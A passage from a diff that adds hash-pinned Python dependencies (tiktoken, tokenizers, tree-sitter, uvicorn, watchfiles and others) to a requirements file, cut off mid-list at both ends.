--hash=sha256:a9e960fc78fecd1100539f14132425e1d5fe44ecb9239f8f27f079962021523e \ + --hash=sha256:aa8933159edc50be265ed22b401125c9eebff3171f570258854dbce3ecd55475 \ + --hash=sha256:aaf94f812c95b5e60ebaf8bfb1898a7d7cb9c1af5744d4a67fa47796e0465d4e \ + --hash=sha256:abfa1171a9952d2e0002aba2ad3780820b00cc3d9c98c6630f2e93271501f66c \ + --hash=sha256:acb9aafccaae278f449d9c713b64a9e68662e7799dbd5859e2c6b3c67b56d334 \ + --hash=sha256:ae2775c1973e3c30316892737b91f9283f9908e3cc7625b9331271eaaed7dc90 \ + --hash=sha256:ae92443798a40a92dc5f0b01d8a7c93adde0c4dc965310a29ae7c64d72b9fad2 \ + --hash=sha256:b2e7f8f169d775dd9092a1743768d771f1d1300453ddfe6325ae3ab5332b4657 \ + --hash=sha256:b4938466c6b257b2f5c4ff98acd8128ec36b5059e5c8f8372d79316b1c36bb15 \ + --hash=sha256:b6dfb0e058adb12d8b1d1b25f686e94ffa65d9995a5157afe99743bf7369d62b \ + --hash=sha256:b7fb801aa7f845ddf601c49630deeeccde7ce10065561d92729bfe81bd21fb33 \ + --hash=sha256:ba81d2b56b6d4911ce735aad0a1d4495e808b8ee4dc58715998741a26874e7c2 \ + --hash=sha256:bbf94c58e8e0cd6b6f38d8de67acae41b3a515c26169366ab58bdca4a6883bb8 \ + --hash=sha256:be898f271f851f68b318872ce6ebebbc62f303b654e43bf72683dbdc25b7c881 \ + --hash=sha256:bf876e79763eecf3e7356f157540d6a093cef395b65514f17a356f62af6cc136 \ + --hash=sha256:c1476d6f29eb81aa4151c9a31219b03f1f798dc43d8af1250a870735516a1212 \ + --hash=sha256:c2a8fed130ce946d5c585eddc7c8eeef0051f58ac80a8ee43bd17835c144c2cc \ + --hash=sha256:c46c9dd2403b66a2a3b9720ec4b74d4ab49d4fabf9f03dfdce2d42af913fe8d0 \ + --hash=sha256:c4b676c4ae3921649a15d28ed10025548e9b561ded473aa413af749503c6737e \ + --hash=sha256:c796c0c1cc68cb08b0284db4229f5af76168172670c74908fdbd4b7d7f515819 \ + --hash=sha256:c918c65ec2e42c2a78d19f18c553d77319119bf43aa9e2edf7fb78d624355527 \ + --hash=sha256:cb56c6210ef77caa58e16e8c17d35c63fe3f5b60fd9ba9d424470c3400bcf9ed \ + --hash=sha256:cdfe4bb2f9fe7458b7453ad3c33e726d6d1c7c0a72960bcc23800d77384e42df \ + --hash=sha256:cf9931f14223de59551ab9d38ed18d92f14f055a5f78c1d8ad6493f735021bbb \ + --hash=sha256:d252f2d8ca0195faa707f8eb9368955760880b2b42a8ee16d382bf5dd807f89a \ + --hash=sha256:d5fa0ee122dc09e23607a28e6d7b150da16c662e66409bbe85230e4c85bb528a \ + --hash=sha256:d76f9cc8665acdc0c9177043746775aa7babbf479b5520b78ae4002d889f5c21 \ + --hash=sha256:d78827d7ac08627ea2c8e02c9e5b41180ea5ea1f747e9db0915e3adf36b62dcf \ + --hash=sha256:d7ff07d696a7a38152ebdb8212ca9e5baab56656749f3d6004b34ab726b550b8 \ + --hash=sha256:d9199717881f13c32c4046a15f024971a3b78ad4ea029e8da6b86e5aa9cf4594 \ + --hash=sha256:dc23e6820e3b40847e2f4a7726462ba0cf53089512abe9ee16318c366494c17a \ + --hash=sha256:dce51c828941973a5684d458214d3a36fcd28da3e1875d659388f4f9f12cc33e \ + --hash=sha256:dd2135527aa40f061350c3f8f89da2644de26cd73e4de458e79606384f4f68e7 \ + --hash=sha256:dd6cd0485b7d347304067153a6dc1d73f7d4fd995a396ef32a24d24b8ac63ac8 \ + --hash=sha256:df8b74962e35c9249425d90144e721eed198e6555a0e22a563d29fe4486b51f6 \ + --hash=sha256:dfbfac137d2a3d0725758cd141f878bf4329ba25e34979797c89474a89a8a3a3 \ + --hash=sha256:e202e6d4188e53c6661af813b46c37ca2c45e497fc558bacc1a7630ec2695aec \ + --hash=sha256:e2f6fd8a1cea5bbe599b6e78a6e5ee08db434fc8ffea51ff201c8765679698b3 \ + --hash=sha256:e48af21883ded2b3e9eb48cb7880ad8598b31ab752ff3be6457001d78f416723 \ + --hash=sha256:e4b9fcfbc021633863a37e92571d6f91851fa656f0180246e84cbd8b3f6b329b \ + --hash=sha256:e5c20f33fd10485b80f65e800bbe5f6785af510b9f4056c5a3c612ebc83ba6cb \ + --hash=sha256:eb11a4f1b2b63337cfd3b4d110af778a59aae51c81d195768e353d8b52f88081 \ + --hash=sha256:ed090ccd235f6fa8bb5861684567f0a83e04f52dfc2e5c05f2e4b1309fcf85e7 \ + --hash=sha256:ed10dc32829e7d222b7d3b93136d25a406ba9788f6a7ebf6809092da1f4d279d \ + --hash=sha256:eda8719d598f2f7f3e0f885cba8646644b55a187762bec091fa14a2b819746a9 \ + --hash=sha256:ee4308f409a40e50593c7e3bb8cbe0b4d4c66d1674a316324f0c2f5383b486f9 \ + --hash=sha256:ee5422d7fb21f6a00c1901bf6559c49fee13a5159d0288320737bbf6585bd3e4 \ + --hash=sha256:f149826d742b406579466283769a8ea448eed82a789af0ed17b0cd5770433444 \ + --hash=sha256:f2729615f9d430af0ae6b36cf042cb55c0936408d543fb691e1a9e36648fd35a \ + --hash=sha256:f39f58a27cc6e59f432b568ed8429c7e1641324fbe38131de852cd77b2d534b0 \ + --hash=sha256:f41f814b8eaa48768d1bb551591f6ba45f87ac76899453e8ccd41dba1289b04b \ + --hash=sha256:f9025faafc62ed0b75a53e541895ca272815bec18abe2249ff6501c8f2e12b83 \ + --hash=sha256:faf8d146f3d476abfee026c4ae3bdd9ca14236ae4e4c310cbd1cf75ba33d24a3 \ + --hash=sha256:fb08b65b93e0c6dd70aac7f7890a9c0938d5ec71d5cb32d45cf844fb8ae47636 \ + --hash=sha256:fb7c72262deae25366e3b6c0c0ba46007967aea15d1eea746e44ddba8ec58dcc \ + --hash=sha256:fb89bec23fddc489e5d78b550a7b773557c9ab58b7946154a10a6f7a214a48b2 \ + --hash=sha256:fe0dd05afb46597b9a2e11c351e5e4283c741237e7f617ffb3252780cca9336a \ + --hash=sha256:fecc80cb2a90e28af8a9b366edacf33d7a91cbfe4c2c4544ea1246e949cfebeb \ + --hash=sha256:fed467af29776f6556250c9ed85ea5a4dd121ab56a5f8b206e3e7a4c551e48ec \ + --hash=sha256:ffce0481cc6e95e5b3f0a47ee17ffbd234399e6d532f394c8dce320c3b089c21 +screeninfo==0.8.1 \ + --hash=sha256:9983076bcc7e34402a1a9e4d7dabf3729411fd2abb3f3b4be7eba73519cd2ed1 \ + --hash=sha256:e97d6b173856edcfa3bd282f81deb528188aff14b11ec3e195584e7641be733c +secretstorage==3.5.0 \ + --hash=sha256:0ce65888c0725fcb2c5bc0fdb8e5438eece02c523557ea40ce0703c266248137 \ + --hash=sha256:f04b8e4689cbce351744d5537bf6b1329c6fc68f91fa666f60a380edddcd11be +six==1.17.0 \ + --hash=sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274 \ + --hash=sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81 +sniffio==1.3.1 \ + --hash=sha256:2f6da418d1f1e0fddd844478f41680e794e6051915791a034ff65e5f100525a2 \ + --hash=sha256:f4324edc670a0f49750a81b895f35c3adb843cca46f0530f79fc1babb23789dc +socksio==1.0.0 \ + --hash=sha256:95dc1f15f9b34e8d7b16f06d74b8ccf48f609af32ab33c608d08761c5dcbb1f3 \ + --hash=sha256:f88beb3da5b5c38b9890469de67d0cb0f9d494b78b106ca1845f96c10b91c4ac +sortedcontainers==2.4.0 \ + --hash=sha256:25caa5a06cc30b6b83d11423433f65d1f9d76c4c6a0c90e3379eaa43b9bfdb88 \ + --hash=sha256:a163dcaede0f1c021485e957a39245190e74249897e2ae4b2aa38595db237ee0 +soupsieve==2.9.2 \ + --hash=sha256:4a55d8cf158a9c2e587fa4922f1bbb91d68ac829e2d6f25403a85747c71daf74 \ + --hash=sha256:8089a26fd974ca7a1f30276d3d8492ab266ab15af581642dfe8aa162e0c1c823 +sse-starlette==3.0.2 \ + --hash=sha256:16b7cbfddbcd4eaca11f7b586f3b8a080f1afe952c15813455b162edea619e5a \ + --hash=sha256:ccd60b5765ebb3584d0de2d7a6e4f745672581de4f5005ab31c3a25d10b52b3a +starlette==1.3.1 \ + --hash=sha256:05d0213193f2fbaae60e2ecb593b4add4262ad4e46536b54abe36f11a71724e0 \ + --hash=sha256:c7372aae11c3c3f26a42df7bd626cec2f47d03483d261d369516a615a53714c6 +tenacity==9.1.2 \ + --hash=sha256:1169d376c297e7de388d18b4481760d478b0e99a777cad3a9c86e556f4b697cb \ + --hash=sha256:f77bf36710d8b73a50b2dd155c97b870017ad21afe6ab300326b0371b3b05138 +tiktoken==0.12.0 \ + --hash=sha256:01d99484dc93b129cd0964f9d34eee953f2737301f18b3c7257bf368d7615baa \ + --hash=sha256:04f0e6a985d95913cabc96a741c5ffec525a2c72e9df086ff17ebe35985c800e \ + --hash=sha256:06a9f4f49884139013b138920a4c393aa6556b2f8f536345f11819389c703ebb \ + --hash=sha256:09eb4eae62ae7e4c62364d9ec3a57c62eea707ac9a2b2c5d6bd05de6724ea179 \ + --hash=sha256:0ee8f9ae00c41770b5f9b0bb1235474768884ae157de3beb5439ca0fd70f3e25 \ + --hash=sha256:15d875454bbaa3728be39880ddd11a5a2a9e548c29418b41e8fd8a767172b5ec \ + --hash=sha256:20cf97135c9a50de0b157879c3c4accbb29116bcf001283d26e073ff3b345946 \ + --hash=sha256:285ba9d73ea0d6171e7f9407039a290ca77efcdb026be7769dccc01d2c8d7fff \ + --hash=sha256:2b90f5ad190a4bb7c3eb30c5fa32e1e182ca1ca79f05e49b448438c3e225a49b \ + --hash=sha256:2cff3688ba3c639ebe816f8d58ffbbb0aa7433e23e08ab1cade5d175fc973fb3 \ + --hash=sha256:35a2f8ddd3824608b3d650a000c1ef71f730d0c56486845705a8248da00f9fe5 \ + --hash=sha256:399c3dd672a6406719d84442299a490420b458c44d3ae65516302a99675888f3 \ + --hash=sha256:3de02f5a491cfd179aec916eddb70331814bd6bf764075d39e21d5862e533970 \ + --hash=sha256:3e68e3e593637b53e56f7237be560f7a394451cb8c11079755e80ae64b9e6def \ + --hash=sha256:47a5bc270b8c3db00bb46ece01ef34ad050e364b51d406b6f9730b64ac28eded \ + --hash=sha256:4a1a4fcd021f022bfc81904a911d3df0f6543b9e7627b51411da75ff2fe7a1be \ + --hash=sha256:4c9614597ac94bb294544345ad8cf30dac2129c05e2db8dc53e082f355857af7 \ + --hash=sha256:508fa71810c0efdcd1b898fda574889ee62852989f7c1667414736bcb2b9a4bd \ + --hash=sha256:54c891b416a0e36b8e2045b12b33dd66fb34a4fe7965565f1b482da50da3e86a \ + --hash=sha256:584c3ad3d0c74f5269906eb8a659c8bfc6144a52895d9261cdaf90a0ae5f4de0 \ + --hash=sha256:5edb8743b88d5be814b1a8a8854494719080c28faaa1ccbef02e87354fe71ef0 \ + --hash=sha256:604831189bd05480f2b885ecd2d1986dc7686f609de48208ebbbddeea071fc0b \ + --hash=sha256:65b26c7a780e2139e73acc193e5c63ac754021f160df919add909c1492c0fb37 \ + --hash=sha256:6de0da39f605992649b9cfa6f84071e3f9ef2cec458d08c5feb1b6f0ff62e134 \ + --hash=sha256:6e227c7f96925003487c33b1b32265fad2fbcec2b7cf4817afb76d416f40f6bb \ + --hash=sha256:6faa0534e0eefbcafaccb75927a4a380463a2eaa7e26000f0173b920e98b720a \ + --hash=sha256:6fb2995b487c2e31acf0a9e17647e3b242235a20832642bb7a9d1a181c0c1bb1 \ + --hash=sha256:775c2c55de2310cc1bc9a3ad8826761cbdc87770e586fd7b6da7d4589e13dab3 \ + --hash=sha256:82991e04fc860afb933efb63957affc7ad54f83e2216fe7d319007dab1ba5892 \ + --hash=sha256:83d16643edb7fa2c99eff2ab7733508aae1eebb03d5dfc46f5565862810f24e3 \ + --hash=sha256:8f317e8530bb3a222547b85a58583238c8f74fd7a7408305f9f63246d1a0958b \ + --hash=sha256:981a81e39812d57031efdc9ec59fa32b2a5a5524d20d4776574c4b4bd2e9014a \ + --hash=sha256:9baf52f84a3f42eef3ff4e754a0db79a13a27921b457ca9832cf944c6be4f8f3 \ + --hash=sha256:a01b12f69052fbe4b080a2cfb867c4de12c704b56178edf1d1d7b273561db160 \ + --hash=sha256:a1af81a6c44f008cba48494089dd98cccb8b313f55e961a52f5b222d1e507967 \ + --hash=sha256:a90388128df3b3abeb2bfd1895b0681412a8d7dc644142519e6f0a97c2111646 \ + --hash=sha256:b18ba7ee2b093863978fcb14f74b3707cdc8d4d4d3836853ce7ec60772139931 \ + --hash=sha256:b4e7ed1c6a7a8a60a3230965bdedba8cc58f68926b835e519341413370e0399a \ + --hash=sha256:b6cfb6d9b7b54d20af21a912bfe63a2727d9cfa8fbda642fd8322c70340aad16 \ + --hash=sha256:b8a0cd0c789a61f31bf44851defbd609e8dd1e2c8589c614cc1060940ef1f697 \ + --hash=sha256:b97f74aca0d78a1ff21b8cd9e9925714c15a9236d6ceacf5c7327c117e6e21e8 \ + --hash=sha256:c06cf0fcc24c2cb2adb5e185c7082a82cba29c17575e828518c2f11a01f445aa \ + --hash=sha256:c2c714c72bc00a38ca969dae79e8266ddec999c7ceccd603cc4f0d04ccd76365 \ + --hash=sha256:cbb9a3ba275165a2cb0f9a83f5d7025afe6b9d0ab01a22b50f0e74fee2ad253e \ + --hash=sha256:cde24cdb1b8a08368f709124f15b36ab5524aac5fa830cc3fdce9c03d4fb8030 \ + --hash=sha256:d186a5c60c6a0213f04a7a802264083dea1bbde92a2d4c7069e1a56630aef830 \ + --hash=sha256:d51d75a5bffbf26f86554d28e78bfb921eae998edc2675650fd04c7e1f0cdc1e \ + --hash=sha256:d5f89ea5680066b68bcb797ae85219c72916c922ef0fcdd3480c7d2315ffff16 \ + --hash=sha256:da900aa0ad52247d8794e307d6446bd3cdea8e192769b56276695d34d2c9aa88 \ + --hash=sha256:dc2dd125a62cb2b3d858484d6c614d136b5b848976794edfb63688d539b8b93f \ + --hash=sha256:df37684ace87d10895acb44b7f447d4700349b12197a526da0d4a4149fde074c \ + --hash=sha256:dfdfaa5ffff8993a3af94d1125870b1d27aed7cb97aa7eb8c1cefdbc87dbee63 \ + --hash=sha256:edde1ec917dfd21c1f2f8046b86348b0f54a2c0547f68149d8600859598769ad \ + --hash=sha256:f18f249b041851954217e9fd8e5c00b024ab2315ffda5ed77665a05fa91f42dc \ + --hash=sha256:f61c0aea5565ac82e2ec50a05e02a6c44734e91b51c10510b084ea1b8e633a71 \ + --hash=sha256:fc530a28591a2d74bce821d10b418b26a094bf33839e69042a6e86ddb7a7fb27 \ + --hash=sha256:ffc5288f34a8bc02e1ea7047b8d041104791d2ddbf42d1e5fa07822cbffe16bd +tokenizers==0.23.1 \ + --hash=sha256:120468fb4c24faf0543c835a4fabafa4deb3f20a035c9b6e83d0b553a97615d4 \ + --hash=sha256:1974288a609c343774f1b897c8b482c791ab17b75ab5c8c2b1737565c1d82288 \ + --hash=sha256:1bf13402aff9bc533c89cb849ec3b412dc3fbeacc9744840e423d7bf3f7dc0e3 \ + --hash=sha256:1feeeadf865a7915adc25445dea30e9933e593c31bb96c277cee36de227c8bfa \ + --hash=sha256:5075b405006415ea148a992d093699c66eb01952bf59f4d5727089a98bda45a4 \ + --hash=sha256:53b09e85775d5187941e7bab30e941b4134ab4a7dd8c68e783d231fb7ca27c51 \ + --hash=sha256:56f3a77de629917652f876294dc9fe6bad4a0c43bc229dc72e59bb23a0f4729a \ + --hash=sha256:93120a930b919416da7cd10a2f606ac9919cc69cacae7980fa2140e277660948 \ + --hash=sha256:9d10a6d957ef01896dc274e890eee27d41bd0e74ef31e60616f0fc311345184e \ + --hash=sha256:a26197957d8e4425dfba746315f3c425ea00cfa8367c5fbc4ec73447893dcea9 \ + --hash=sha256:ae848657742035523fdf261773630cb819a26995fcd3d9ecae0c1daf6e5a4959 \ + --hash=sha256:e03d6ffcbe0d56ee9c1ccd070e70a13fa750727c0277e138152acbc0252c2224 \ + --hash=sha256:e0948bbb1ac1d7cdfc9fb6d62c596e3b7550036ad60ecd654a66ad273326324e \ + --hash=sha256:e3d8f40ea6268047de7046906326abed5134f27d4e8447b23763afe5808c8a96 \ + --hash=sha256:e7bfaf995c1bdbbd21d13539decb6650967013759318627d85daeb7881af16b7 \ + --hash=sha256:ea5a0ce170074329faaa8ea3f6400ecde604b6678192688533af80980daae71a \ + --hash=sha256:f836ca703b89ae07919a309f9651f7a88fd5a33d5f718ba5ad0870ec0256bad6 +tom-swe==1.0.3 \ + --hash=sha256:57c97d0104e563f15bd39edaf2aa6ac4c3e9444afd437fb92458700d22c6c0f5 \ + --hash=sha256:7b1172b29eb5c8fb7f1975016e7b6a238511b9ac2a7a980bd400dcb4e29773f2 +tqdm==4.67.1 \ + --hash=sha256:26445eca388f82e72884e0d580d5464cd801a3ea01e63e5601bdff9ba6a48de2 \ + --hash=sha256:f8aef9c52c08c13a65f30ea34f4e5aac3fd1a34959879d7e59e63027286627f2 +tree-sitter==0.25.2 \ + --hash=sha256:0628671f0de69bb279558ef6b640bcfc97864fe0026d840f872728a86cd6b6cd \ + --hash=sha256:0c8b6682cac77e37cfe5cf7ec388844957f48b7bd8d6321d0ca2d852994e10d5 \ + --hash=sha256:1799609636c0193e16c38f366bda5af15b1ce476df79ddaae7dd274df9e44266 \ + --hash=sha256:20b570690f87f1da424cd690e51cc56728d21d63f4abd4b326d382a30353acc7 \ + --hash=sha256:260586381b23be33b6191a07cea3d44ecbd6c01aa4c6b027a0439145fcbc3358 \ + --hash=sha256:3e65ae456ad0d210ee71a89ee112ac7e72e6c2e5aac1b95846ecc7afa68a194c \ + --hash=sha256:44488e0e78146f87baaa009736886516779253d6d6bac3ef636ede72bc6a8234 \ + --hash=sha256:463c032bd02052d934daa5f45d183e0521ceb783c2548501cf034b0beba92c9b \ + --hash=sha256:4973b718fcadfb04e59e746abfbb0288694159c6aeecd2add59320c03368c721 \ + --hash=sha256:49ee3c348caa459244ec437ccc7ff3831f35977d143f65311572b8ba0a5f265f \ + --hash=sha256:56ac6602c7d09c2c507c55e58dc7026b8988e0475bd0002f8a386cce5e8e8adc \ + --hash=sha256:65d3c931013ea798b502782acab986bbf47ba2c452610ab0776cf4a8ef150fc0 \ + --hash=sha256:6d0302550bbe4620a5dc7649517c4409d74ef18558276ce758419cf09e578897 \ + --hash=sha256:72a510931c3c25f134aac2daf4eb4feca99ffe37a35896d7150e50ac3eee06c7 \ + --hash=sha256:7712335855b2307a21ae86efe949c76be36c6068d76df34faa27ce9ee40ff444 \ + --hash=sha256:7d2ee1acbacebe50ba0f85fff1bc05e65d877958f00880f49f9b2af38dce1af0 \ + --hash=sha256:a0ec41b895da717bc218a42a3a7a0bfcfe9a213d7afaa4255353901e0e21f696 \ + --hash=sha256:a925364eb7fbb9cdce55a9868f7525a1905af512a559303bd54ef468fd88cb37 \ + --hash=sha256:b3d11a3a3ac89bb8a2543d75597f905a9926f9c806f40fcca8242922d1cc6ad5 \ + --hash=sha256:b3f63a1796886249bd22c559a5944d64d05d43f2be72961624278eff0dcc5cb8 \ + --hash=sha256:b43a9e4c89d4d0839de27cd4d6902d33396de700e9ff4c5ab7631f277a85ead9 \ + --hash=sha256:b878e296e63661c8e124177cc3084b041ba3f5936b43076d57c487822426f614 \ + --hash=sha256:b8ca72d841215b6573ed0655b3a5cd1133f9b69a6fa561aecad40dca9029d75b \ + --hash=sha256:b8d4429954a3beb3e844e2872610d2a4800ba4eb42bb1990c6a4b1949b18459f \ + --hash=sha256:bd88fbb0f6c3a0f28f0a68d72df88e9755cf5215bae146f5a1bdc8362b772053 \ + --hash=sha256:bda059af9d621918efb813b22fb06b3fe00c3e94079c6143fcb2c565eb44cb87 \ + --hash=sha256:c0c0ab5f94938a23fe81928a21cc0fac44143133ccc4eb7eeb1b92f84748331c \ + --hash=sha256:c2f8e7d6b2f8489d4a9885e3adcaef4bc5ff0a275acd990f120e29c4ab3395c5 \ + --hash=sha256:cc0351cfe5022cec5a77645f647f92a936b38850346ed3f6d6babfbeeeca4d26 \ + --hash=sha256:d77605e0d353ba3fe5627e5490f0fbfe44141bafa4478d88ef7954a61a848dae \ + --hash=sha256:dd12d80d91d4114ca097626eb82714618dcdfacd6a5e0955216c6485c350ef99 \ + --hash=sha256:ddabfff809ffc983fc9963455ba1cecc90295803e06e140a4c83e94c1fa3d960 \ + --hash=sha256:eac4e8e4c7060c75f395feec46421eb61212cb73998dbe004b7384724f3682ab \ + --hash=sha256:f5ddcd3e291a749b62521f71fc953f66f5fd9743973fd6dd962b092773569601 \ + --hash=sha256:fbb1706407c0e451c4f8cc016fec27d72d4b211fdd3173320b1ada7a6c74c3ac \ + --hash=sha256:fe43c158555da46723b28b52e058ad444195afd1db3ca7720c59a254544e9c20 +tree-sitter-bash==0.25.1 \ + --hash=sha256:0e6235f59e366d220dde7d830196bed597d01e853e44d8ccd1a82c5dd2500acf \ + --hash=sha256:3f484c4bb8796cde7a87ca351e6116f09653edac0eb3c6d238566359dd28b117 \ + --hash=sha256:52a6802d9218f86278aa3e8b459c3abdad67eed0fde1f9f13aca5b6c634217a6 \ + --hash=sha256:59115057ec2bae319e8082ff29559861045002964c3431ccb0fc92aa4bc9bccb \ + --hash=sha256:5e76af6df46d958c7f5b6d5884c9743218e3902a00ccb493ec92728b1084430b \ + --hash=sha256:a3332d71c7b7d5f78259b19d02d0ea111fcb82b72712ee4a93aaa5b226d3f0a8 \ + --hash=sha256:bfc0bdaa77bc1e86e3c6652e5a6e140c40c0a16b84185c2b63ad7cd809b88f14 \ + --hash=sha256:e76c4cfb20b076552406782b7f8c2a3946835993df0a44df006de54b7030c7dc \ + --hash=sha256:f4a34a6504c7c5b2a9b8c5c4065531dea19ca2c35026e706cf2eeeebe2c92512 +typing-extensions==4.15.0 \ + --hash=sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466 \ + --hash=sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548 +typing-inspection==0.4.2 \ + --hash=sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7 \ + --hash=sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464 +uncalled-for==0.2.0 \ + --hash=sha256:2c0bd338faff5f930918f79e7eb9ff48290df2cb05fcc0b40a7f334e55d4d85f \ + --hash=sha256:b4f8fdbcec328c5a113807d653e041c5094473dd4afa7c34599ace69ccb7e69f +uritemplate==4.2.0 \ + --hash=sha256:480c2ed180878955863323eea31b0ede668795de182617fef9c6ca09e6ec9d0e \ + --hash=sha256:962201ba1c4edcab02e60f9a0d3821e82dfc5d2d6662a21abd533879bdb8a686 +urllib3==2.8.0 \ + --hash=sha256:0cf3cae568d36aa9576b28dfb35f11328f1cb974ca7647d9475ebb86c75ac6e3 \ + --hash=sha256:63bf2ead4c879426ebf22ef2a781eeb4aa3b4ae798a0435506f8687fd5bb9b63 +uuid7==0.1.0 \ + --hash=sha256:5e259bb63c8cb4aded5927ff41b444a80d0c7124e8a0ced7cf44efa1f5cccf61 \ + --hash=sha256:8c57aa32ee7456d3cc68c95c4530bc571646defac01895cfc73545449894a63c +uvicorn==0.52.4 \ + --hash=sha256:73acfee47a0b133c5de13d219492d62d8a31e935f4fe6e41a232451a15379f86 \ + --hash=sha256:f86e41a149d7d05a9969337e3946a9c171c06a5d42680896daaba624aeac8da1 +watchfiles==1.1.1 \ + --hash=sha256:00485f441d183717038ed2e887a7c868154f216877653121068107b227a2f64c \ + --hash=sha256:03fa0f5237118a0c5e496185cafa92878568b652a2e9a9382a5151b1a0380a43 \ + --hash=sha256:04e78dd0b6352db95507fd8cb46f39d185cf8c74e4cf1e4fbad1d3df96faf510 \ + --hash=sha256:059098c3a429f62fc98e8ec62b982230ef2c8df68c79e826e37b895bc359a9c0 \ + --hash=sha256:08af70fd77eee58549cd69c25055dc344f918d992ff626068242259f98d598a2 \ + --hash=sha256:0b495de0bb386df6a12b18335a0285dda90260f51bdb505503c02bcd1ce27a8b \ + --hash=sha256:130e4876309e8686a5e37dba7d5e9bc77e6ed908266996ca26572437a5271e18 \ + --hash=sha256:14e0b1fe858430fc0251737ef3824c54027bedb8c37c38114488b8e131cf8219 \ + --hash=sha256:17ef139237dfced9da49fb7f2232c86ca9421f666d78c264c7ffca6601d154c3 \ + --hash=sha256:1a0bb430adb19ef49389e1ad368450193a90038b5b752f4ac089ec6942c4dff4 \ + --hash=sha256:1db5d7ae38ff20153d542460752ff397fcf5c96090c1230803713cf3147a6803 \ + --hash=sha256:28475ddbde92df1874b6c5c8aaeb24ad5be47a11f87cde5a28ef3835932e3e94 \ + --hash=sha256:2edc3553362b1c38d9f06242416a5d8e9fe235c204a4072e988ce2e5bb1f69f6 \ + --hash=sha256:30f7da3fb3f2844259cba4720c3fc7138eb0f7b659c38f3bfa65084c7fc7abce \ + --hash=sha256:311ff15a0bae3714ffb603e6ba6dbfba4065ab60865d15a6ec544133bdb21099 \ + --hash=sha256:319b27255aacd9923b8a276bb14d21a5f7ff82564c744235fc5eae58d95422ae \ + --hash=sha256:35c53bd62a0b885bf653ebf6b700d1bf05debb78ad9292cf2a942b23513dc4c4 \ + --hash=sha256:36193ed342f5b9842edd3532729a2ad55c4160ffcfa3700e0d54be496b70dd43 \ + --hash=sha256:39574d6370c4579d7f5d0ad940ce5b20db0e4117444e39b6d8f99db5676c52fd \ + --hash=sha256:399600947b170270e80134ac854e21b3ccdefa11a9529a3decc1327088180f10 \ + --hash=sha256:3a476189be23c3686bc2f4321dd501cb329c0a0469e77b7b534ee10129ae6374 \ + --hash=sha256:3ad9fe1dae4ab4212d8c91e80b832425e24f421703b5a42ef2e4a1e215aff051 \ + --hash=sha256:3bc570d6c01c206c46deb6e935a260be44f186a2f05179f52f7fcd2be086a94d \ + --hash=sha256:3dbd8cbadd46984f802f6d479b7e3afa86c42d13e8f0f322d669d79722c8ec34 \ + --hash=sha256:3e6f39af2eab0118338902798b5aa6664f46ff66bc0280de76fca67a7f262a49 \ + --hash=sha256:3f53fa183d53a1d7a8852277c92b967ae99c2d4dcee2bfacff8868e6e30b15f7 \ + --hash=sha256:3f6d37644155fb5beca5378feb8c1708d5783145f2a0f1c4d5a061a210254844 \ + --hash=sha256:3f7eb7da0eb23aa2ba036d4f616d46906013a68caf61b7fdbe42fc8b25132e77 \ + --hash=sha256:3fa0b59c92278b5a7800d3ee7733da9d096d4aabcfabb9a928918bd276ef9b9b \ + --hash=sha256:421e29339983e1bebc281fab40d812742268ad057db4aee8c4d2bce0af43b741 \ + --hash=sha256:4b943d3668d61cfa528eb949577479d3b077fd25fb83c641235437bc0b5bc60e \ + --hash=sha256:526e86aced14a65a5b0ec50827c745597c782ff46b571dbfe46192ab9e0b3c33 \ + --hash=sha256:52e06553899e11e8074503c8e716d574adeeb7e68913115c4b3653c53f9bae42 \ + --hash=sha256:544364b2b51a9b0c7000a4b4b02f90e9423d97fbbf7e06689236443ebcad81ab \ + --hash=sha256:5524298e3827105b61951a29c3512deb9578586abf3a7c5da4a8069df247cccc \ + --hash=sha256:55c7475190662e202c08c6c0f4d9e345a29367438cf8e8037f3155e10a88d5a5 \ + --hash=sha256:563b116874a9a7ce6f96f87cd0b94f7faf92d08d0021e837796f0a14318ef8da \ + --hash=sha256:57ca5281a8b5e27593cb7d82c2ac927ad88a96ed406aa446f6344e4328208e9e \ + --hash=sha256:5c85794a4cfa094714fb9c08d4a218375b2b95b8ed1666e8677c349906246c05 \ + --hash=sha256:5f3bde70f157f84ece3765b42b4a52c6ac1a50334903c6eaf765362f6ccca88a \ + --hash=sha256:5f3f58818dc0b07f7d9aa7fe9eb1037aecb9700e63e1f6acfed13e9fef648f5d \ + --hash=sha256:5fac835b4ab3c6487b5dbad78c4b3724e26bcc468e886f8ba8cc4306f68f6701 \ + --hash=sha256:620bae625f4cb18427b1bb1a2d9426dc0dd5a5ba74c7c2cdb9de405f7b129863 \ + --hash=sha256:672b8adf25b1a0d35c96b5888b7b18699d27d4194bac8beeae75be4b7a3fc9b2 \ + --hash=sha256:6aae418a8b323732fa89721d86f39ec8f092fc2af67f4217a2b07fd3e93c6101 \ + --hash=sha256:6c3631058c37e4a0ec440bf583bc53cdbd13e5661bb6f465bc1d88ee9a0a4d02 \ + --hash=sha256:6c9c9262f454d1c4d8aaa7050121eb4f3aea197360553699520767daebf2180b \ + --hash=sha256:6e43d39a741e972bab5d8100b5cdacf69db64e34eb19b6e9af162bccf63c5cc6 \ + --hash=sha256:7365b92c2e69ee952902e8f70f3ba6360d0d596d9299d55d7d386df84b6941fb \ + --hash=sha256:743185e7372b7bc7c389e1badcc606931a827112fbbd37f14c537320fca08620 \ + --hash=sha256:74472234c8370669850e1c312490f6026d132ca2d396abfad8830b4f1c096957 \ + --hash=sha256:74d5012b7630714b66be7b7b7a78855ef7ad58e8650c73afc4c076a1f480a8d6 \ + --hash=sha256:77a13aea58bc2b90173bc69f2a90de8e282648939a00a602e1dc4ee23e26b66d \ + --hash=sha256:79ff6c6eadf2e3fc0d7786331362e6ef1e51125892c75f1004bd6b52155fb956 \ + --hash=sha256:831a62658609f0e5c64178211c942ace999517f5770fe9436be4c2faeba0c0ef \ + --hash=sha256:836398932192dae4146c8f6f737d74baeac8b70ce14831a239bdb1ca882fc261 \ + --hash=sha256:842178b126593addc05acf6fce960d28bc5fae7afbaa2c6c1b3a7b9460e5be02 \ + --hash=sha256:8526e8f916bb5b9a0a777c8317c23ce65de259422bba5b31325a6fa6029d33af \ + 